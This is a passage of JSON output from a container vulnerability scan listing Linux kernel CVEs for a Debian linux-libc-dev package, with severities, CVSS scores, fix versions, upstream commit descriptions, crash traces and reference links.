section.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "azure": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L", "V3Score": 6.6 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23318", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/54f9d645a5453d0bfece0c465d34aaf072ea99fa%20%287.0-rc2%29", "https://git.kernel.org/stable/c/0dcd1ed96c03459cf14706885c9dd3c1fd8bd29f", "https://git.kernel.org/stable/c/1e5753ff4c2e86aa88516f97a224c90a3d0b133e", "https://git.kernel.org/stable/c/499ffd15b00dc91ac95c28f76959dfb5cdcc84d5", "https://git.kernel.org/stable/c/54f9d645a5453d0bfece0c465d34aaf072ea99fa", "https://git.kernel.org/stable/c/82a7d0a1b88798de1a609130080ce0c65dd869e9", "https://git.kernel.org/stable/c/8307d93e63d5f54ef10412d4db2dd551e920dee4", "https://git.kernel.org/stable/c/a0c6ae2ea84528f198bf7fd0117f12fd0cf6d7cc", "https://git.kernel.org/stable/c/d3904ca40515272681ae61ad6f561c24f190957f", "https://linux.oracle.com/cve/CVE-2026-23318.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026032530-CVE-2026-23318-bef0@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23318", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-23318" ], "PublishedDate": "2026-03-25T11:16:28.39Z", "LastModifiedDate": "2026-11-05T22:18:14.87Z" }, { "VulnerabilityID": "CVE-2026-23319", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23319", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:258320d39353fbdd1cd764ceb92c53faa0620258d1d9b345167b96a0b3a7a66c", "Title": "kernel: bpf: Fix a UAF issue in bpf_trampoline_link_cgroup_shim", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Fix a UAF issue in bpf_trampoline_link_cgroup_shim\n\nThe root cause of this bug is that when 'bpf_link_put' reduces the\nrefcount of 'shim_link-\u003elink.link' to zero, the resource is considered\nreleased but may still be referenced via 'tr-\u003eprogs_hlist' in\n'cgroup_shim_find'. The actual cleanup of 'tr-\u003eprogs_hlist' in\n'bpf_shim_tramp_link_release' is deferred. During this window, another\nprocess can cause a use-after-free via 'bpf_trampoline_link_cgroup_shim'.\n\nBased on Martin KaFai Lau's suggestions, I have created a simple patch.\n\nTo fix this:\n Add an atomic non-zero check in 'bpf_trampoline_link_cgroup_shim'.\n Only increment the refcount if it is not already zero.\n\nTesting:\n I verified the fix by adding a delay in\n 'bpf_shim_tramp_link_release' to make the bug easier to trigger:\n\nstatic void bpf_shim_tramp_link_release(struct bpf_link *link)\n{\n\t/* ... */\n\tif (!shim_link-\u003etrampoline)\n\t\treturn;\n\n+\tmsleep(100);\n\tWARN_ON_ONCE(bpf_trampoline_unlink_prog(\u0026shim_link-\u003elink,\n\t\tshim_link-\u003etrampoline, NULL));\n\tbpf_trampoline_put(shim_link-\u003etrampoline);\n}\n\nBefore the patch, running a PoC easily reproduced the crash(almost 100%)\nwith a call trace similar to KaiyanM's report.\nAfter the patch, the bug no longer occurs even after millions of\niterations.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H", "V3Score": 6.4 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23319", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/56145d237385ca0e7ca9ff7b226aaf2eb8ef368b%20%287.0-rc3%29", "https://git.kernel.org/stable/c/3eeddb80191f7626ec1ef742bfff51ec3b0fa5c2", "https://git.kernel.org/stable/c/4e8a0005d633a4adc98e3b65d5080f93b90d356b", "https://git.kernel.org/stable/c/529e685e522b9d7fb379dbe6929dcdf520e34c8c", "https://git.kernel.org/stable/c/56145d237385ca0e7ca9ff7b226aaf2eb8ef368b", "https://git.kernel.org/stable/c/9b02c5c4147f8af8ed783c8deb5df927a55c3951", "https://git.kernel.org/stable/c/cfcfa0ca0212162aa472551266038e8fd6768cff", "https://linux.oracle.com/cve/CVE-2026-23319.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026032530-CVE-2026-23319-1e3d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23319", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-23319" ], "PublishedDate": "2026-03-25T11:16:28.57Z", "LastModifiedDate": "2026-10-15T02:18:49.593Z" }, { "VulnerabilityID": "CVE-2026-23327", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23327", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7e10b08ee0bccd428c0185e8d72cea08dc0c44bc09d80ee8cc7909cd91722518", "Title": "kernel: cxl/mbox: validate payload size before accessing contents in cxl_payload_from_user_allowed()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ncxl/mbox: validate payload size before accessing contents in cxl_payload_from_user_allowed()\n\ncxl_payload_from_user_allowed() casts and dereferences the input\npayload without first verifying its size. When a raw mailbox command\nis sent with an undersized payload (ie: 1 byte for CXL_MBOX_OP_CLEAR_LOG,\nwhich expects a 16-byte UUID), uuid_equal() reads past the allocated buffer,\ntriggering a KASAN splat:\n\nBUG: KASAN: slab-out-of-bounds in memcmp+0x176/0x1d0 lib/string.c:683\nRead of size 8 at addr ffff88810130f5c0 by task syz.1.62/2258\n\nCPU: 2 UID: 0 PID: 2258 Comm: syz.1.62 Not tainted 6.19.0-dirty #3 PREEMPT(voluntary)\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.17.0-0-gb52ca86e094d-prebuilt.qemu.org 04/01/2014\nCall Trace:\n \u003cTASK\u003e\n __dump_stack lib/dump_stack.c:94 [inline]\n dump_stack_lvl+0xab/0xe0 lib/dump_stack.c:120\n print_address_description mm/kasan/report.c:378 [inline]\n print_report+0xce/0x650 mm/kasan/report.c:482\n kasan_report+0xce/0x100 mm/kasan/report.c:595\n memcmp+0x176/0x1d0 lib/string.c:683\n uuid_equal include/linux/uuid.h:73 [inline]\n cxl_payload_from_user_allowed drivers/cxl/core/mbox.c:345 [inline]\n cxl_mbox_cmd_ctor drivers/cxl/core/mbox.c:368 [inline]\n cxl_validate_cmd_from_user drivers/cxl/core/mbox.c:522 [inline]\n cxl_send_cmd+0x9c0/0xb50 drivers/cxl/core/mbox.c:643\n __cxl_memdev_ioctl drivers/cxl/core/memdev.c:698 [inline]\n cxl_memdev_ioctl+0x14f/0x190 drivers/cxl/core/memdev.c:713\n vfs_ioctl fs/ioctl.c:51 [inline]\n __do_sys_ioctl fs/ioctl.c:597 [inline]\n __se_sys_ioctl fs/ioctl.c:583 [inline]\n __x64_sys_ioctl+0x18e/0x210 fs/ioctl.c:583\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0xa8/0x330 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0033:0x7fdaf331ba79\nCode: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 \u003c48\u003e 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007fdaf1d77038 EFLAGS: 00000246 ORIG_RAX: 0000000000000010\nRAX: ffffffffffffffda RBX: 00007fdaf3585fa0 RCX: 00007fdaf331ba79\nRDX: 00002000000001c0 RSI: 00000000c030ce02 RDI: 0000000000000003\nRBP: 00007fdaf33749df R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000\nR13: 00007fdaf3586038 R14: 00007fdaf3585fa0 R15: 00007ffced2af768\n \u003c/TASK\u003e\n\nAdd 'in_size' parameter to cxl_payload_from_user_allowed() and validate\nthe payload is large enough.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23327", "https://git.kernel.org/linus/60b5d1f68338aff2c5af0113f04aefa7169c50c2%20%287.0-rc2%29", "https://git.kernel.org/stable/c/3555e41737c0f8b5b53a511573661477e3942dee", "https://git.kernel.org/stable/c/483b7eb4b1b2a03235afe1b274732dcf8231d4ec", "https://git.kernel.org/stable/c/60b5d1f68338aff2c5af0113f04aefa7169c50c2", "https://git.kernel.org/stable/c/7c8a7b7f063b7e7ae9bba4cbaa14a5d2fe3a55e1", "https://git.kernel.org/stable/c/c0874ca9282ccf5aeae559c697dd1feb577aad0e", "https://git.kernel.org/stable/c/dc184ac2f0ba77ae19725ee06ad3ab36bb9d1f61", "https://lore.kernel.org/linux-cve-announce/2026032532-CVE-2026-23327-c497@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23327", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2026-23327" ], "PublishedDate": "2026-03-25T11:16:29.837Z", "LastModifiedDate": "2026-11-05T22:18:15.06Z" }, { "VulnerabilityID": "CVE-2026-23343", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23343", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:dcfb1b34feaaa046a25fb36c297b63adba5369f0cfc6f2fb0f3894ef5ac3fa20", "Title": "kernel: xdp: produce a warning when calculated tailroom is negative", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxdp: produce a warning when calculated tailroom is negative\n\nMany ethernet drivers report xdp Rx queue frag size as being the same as\nDMA write size. However, the only user of this field, namely\nbpf_xdp_frags_increase_tail(), clearly expects a truesize.\n\nSuch difference leads to unspecific memory corruption issues under certain\ncircumstances, e.g. in ixgbevf maximum DMA write size is 3 KB, so when\nrunning xskxceiver's XDP_ADJUST_TAIL_GROW_MULTI_BUFF, 6K packet fully uses\nall DMA-writable space in 2 buffers. This would be fine, if only\nrxq-\u003efrag_size was properly set to 4K, but value of 3K results in a\nnegative tailroom, because there is a non-zero page offset.\n\nWe are supposed to return -EINVAL and be done with it in such case, but due\nto tailroom being stored as an unsigned int, it is reported to be somewhere\nnear UINT_MAX, resulting in a tail being grown, even if the requested\noffset is too much (it is around 2K in the abovementioned test). This later\nleads to all kinds of unspecific calltraces.\n\n[ 7340.337579] xskxceiver[1440]: segfault at 1da718 ip 00007f4161aeac9d sp 00007f41615a6a00 error 6\n[ 7340.338040] xskxceiver[1441]: segfault at 7f410000000b ip 00000000004042b5 sp 00007f415bffecf0 error 4\n[ 7340.338179] in libc.so.6[61c9d,7f4161aaf000+160000]\n[ 7340.339230] in xskxceiver[42b5,400000+69000]\n[ 7340.340300] likely on CPU 6 (core 0, socket 6)\n[ 7340.340302] Code: ff ff 01 e9 f4 fe ff ff 0f 1f 44 00 00 4c 39 f0 74 73 31 c0 ba 01 00 00 00 f0 0f b1 17 0f 85 ba 00 00 00 49 8b 87 88 00 00 00 \u003c4c\u003e 89 70 08 eb cc 0f 1f 44 00 00 48 8d bd f0 fe ff ff 89 85 ec fe\n[ 7340.340888] likely on CPU 3 (core 0, socket 3)\n[ 7340.345088] Code: 00 00 00 ba 00 00 00 00 be 00 00 00 00 89 c7 e8 31 ca ff ff 89 45 ec 8b 45 ec 85 c0 78 07 b8 00 00 00 00 eb 46 e8 0b c8 ff ff \u003c8b\u003e 00 83 f8 69 74 24 e8 ff c7 ff ff 8b 00 83 f8 0b 74 18 e8 f3 c7\n[ 7340.404334] Oops: general protection fault, probably for non-canonical address 0x6d255010bdffc: 0000 [#1] SMP NOPTI\n[ 7340.405972] CPU: 7 UID: 0 PID: 1439 Comm: xskxceiver Not tainted 6.19.0-rc1+ #21 PREEMPT(lazy)\n[ 7340.408006] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.17.0-5.fc42 04/01/2014\n[ 7340.409716] RIP: 0010:lookup_swap_cgroup_id+0x44/0x80\n[ 7340.410455] Code: 83 f8 1c 73 39 48 ba ff ff ff ff ff ff ff 03 48 8b 04 c5 20 55 fa bd 48 21 d1 48 89 ca 83 e1 01 48 d1 ea c1 e1 04 48 8d 04 90 \u003c8b\u003e 00 48 83 c4 10 d3 e8 c3 cc cc cc cc 31 c0 e9 98 b7 dd 00 48 89\n[ 7340.412787] RSP: 0018:ffffcc5c04f7f6d0 EFLAGS: 00010202\n[ 7340.413494] RAX: 0006d255010bdffc RBX: ffff891f477895a8 RCX: 0000000000000010\n[ 7340.414431] RDX: 0001c17e3fffffff RSI: 00fa070000000000 RDI: 000382fc7fffffff\n[ 7340.415354] RBP: 00fa070000000000 R08: ffffcc5c04f7f8f8 R09: ffffcc5c04f7f7d0\n[ 7340.416283] R10: ffff891f4c1a7000 R11: ffffcc5c04f7f9c8 R12: ffffcc5c04f7f7d0\n[ 7340.417218] R13: 03ffffffffffffff R14: 00fa06fffffffe00 R15: ffff891f47789500\n[ 7340.418229] FS: 0000000000000000(0000) GS:ffff891ffdfaa000(0000) knlGS:0000000000000000\n[ 7340.419489] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[ 7340.420286] CR2: 00007f415bfffd58 CR3: 0000000103f03002 CR4: 0000000000772ef0\n[ 7340.421237] PKRU: 55555554\n[ 7340.421623] Call Trace:\n[ 7340.421987] \u003cTASK\u003e\n[ 7340.422309] ? softleaf_from_pte+0x77/0xa0\n[ 7340.422855] swap_pte_batch+0xa7/0x290\n[ 7340.423363] zap_nonpresent_ptes.constprop.0.isra.0+0xd1/0x270\n[ 7340.424102] zap_pte_range+0x281/0x580\n[ 7340.424607] zap_pmd_range.isra.0+0xc9/0x240\n[ 7340.425177] unmap_page_range+0x24d/0x420\n[ 7340.425714] unmap_vmas+0xa1/0x180\n[ 7340.426185] exit_mmap+0xe1/0x3b0\n[ 7340.426644] __mmput+0x41/0x150\n[ 7340.427098] exit_mm+0xb1/0x110\n[ 7340.427539] do_exit+0x1b2/0x460\n[ 7340.427992] do_group_exit+0x2d/0xc0\n[ 7340.428477] get_signal+0x79d/0x7e0\n[ 7340.428957] arch_do_signal_or_restart+0x34/0x100\n[ 7340.429571] exit_to_user_mode_loop+0x8e/0x4c0\n[ 7340.430159] do_syscall_64+0x188/\n---truncated---", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "amazon": 3, "azure": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23343", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/8821e857759be9db3cde337ad328b71fe5c8a55f%20%287.0-rc3%29", "https://git.kernel.org/stable/c/01379540452a02bbc52f639d45dd365cd3624efb", "https://git.kernel.org/stable/c/8821e857759be9db3cde337ad328b71fe5c8a55f", "https://git.kernel.org/stable/c/94b9da7e9f958cb3d115b21eff824ecd8c3217aa", "https://git.kernel.org/stable/c/98cd8b4d0b836d3edf70161f40efd9cbb8c8f252", "https://git.kernel.org/stable/c/a0fb59f527d03c60b2cd547cfae4a842ad84670f", "https://git.kernel.org/stable/c/c7c790a07697148c41e2d03eb28efe132adda749", "https://linux.oracle.com/cve/CVE-2026-23343.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026032535-CVE-2026-23343-dc2b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23343", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-23343" ], "PublishedDate": "2026-03-25T11:16:32.3Z", "LastModifiedDate": "2026-11-05T22:18:15.963Z" }, { "VulnerabilityID": "CVE-2026-23359", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23359", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:477cb4efb8e884fbf4c504787b48eb6573a77ec13b7a343b12428c114f225295", "Title": "kernel: bpf: Fix stack-out-of-bounds write in devmap", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Fix stack-out-of-bounds write in devmap\n\nget_upper_ifindexes() iterates over all upper devices and writes their\nindices into an array without checking bounds.\n\nAlso the callers assume that the max number of upper devices is\nMAX_NEST_DEV and allocate excluded_devices[1+MAX_NEST_DEV] on the stack,\nbut that assumption is not correct and the number of upper devices could\nbe larger than MAX_NEST_DEV (e.g., many macvlans), causing a\nstack-out-of-bounds write.\n\nAdd a max parameter to get_upper_ifindexes() to avoid the issue.\nWhen there are too many upper devices, return -EOVERFLOW and abort the\nredirect.\n\nTo reproduce, create more than MAX_NEST_DEV(8) macvlans on a device with\nan XDP program attached using BPF_F_BROADCAST | BPF_F_EXCLUDE_INGRESS.\nThen send a packet to the device to trigger the XDP redirect path.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "amazon": 3, "azure": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23359", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/b7bf516c3ecd9a2aae2dc2635178ab87b734fef1%20%287.0-rc2%29", "https://git.kernel.org/stable/c/5000e40acc8d0c36ab709662e32120986ac22e7e", "https://git.kernel.org/stable/c/75d474702b2ba8b6bcb26eb3004dbc5e95ffd5d2", "https://git.kernel.org/stable/c/88df604f0d16a692867582350ce3f2fcd22243f1", "https://git.kernel.org/stable/c/8a95fb9df1105b1618872c2846a6c01e3ba20b45", "https://git.kernel.org/stable/c/b7bf516c3ecd9a2aae2dc2635178ab87b734fef1", "https://git.kernel.org/stable/c/ca831567908fd3f73cf97d8a6c09a5054697a182", "https://git.kernel.org/stable/c/d2c31d8e03d05edc16656e5ffe187f0d1da763d7", "https://linux.oracle.com/cve/CVE-2026-23359.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026032538-CVE-2026-23359-35fd@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23359", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-23359" ], "PublishedDate": "2026-03-25T11:16:34.74Z", "LastModifiedDate": "2026-11-05T22:18:17.09Z" }, { "VulnerabilityID": "CVE-2026-23361", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23361", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:240b1c34fdc914d624c5c7197c8d735016a81a4c1bbed3a633e38aaaef902df2", "Title": "kernel: PCI: dwc: ep: Flush MSI-X write before unmapping its ATU entry", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nPCI: dwc: ep: Flush MSI-X write before unmapping its ATU entry\n\nEndpoint drivers use dw_pcie_ep_raise_msix_irq() to raise an MSI-X\ninterrupt to the host using a writel(), which generates a PCI posted write\ntransaction. There's no completion for posted writes, so the writel() may\nreturn before the PCI write completes. dw_pcie_ep_raise_msix_irq() also\nunmaps the outbound ATU entry used for the PCI write, so the write races\nwith the unmap.\n\nIf the PCI write loses the race with the ATU unmap, the write may corrupt\nhost memory or cause IOMMU errors, e.g., these when running fio with a\nlarger queue depth against nvmet-pci-epf:\n\n arm-smmu-v3 fc900000.iommu: 0x0000010000000010\n arm-smmu-v3 fc900000.iommu: 0x0000020000000000\n arm-smmu-v3 fc900000.iommu: 0x000000090000f040\n arm-smmu-v3 fc900000.iommu: 0x0000000000000000\n arm-smmu-v3 fc900000.iommu: event: F_TRANSLATION client: 0000:01:00.0 sid: 0x100 ssid: 0x0 iova: 0x90000f040 ipa: 0x0\n arm-smmu-v3 fc900000.iommu: unpriv data write s1 \"Input address caused fault\" stag: 0x0\n\nFlush the write by performing a readl() of the same address to ensure that\nthe write has reached the destination before the ATU entry is unmapped.\n\nThe same problem was solved for dw_pcie_ep_raise_msi_irq() in commit\n8719c64e76bf (\"PCI: dwc: ep: Cache MSI outbound iATU mapping\"), but there\nit was solved by dedicating an outbound iATU only for MSI. We can't do the\nsame for MSI-X because each vector can have a different msg_addr and the\nmsg_addr may be changed while the vector is masked.\n\n[bhelgaas: commit log]", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23361", 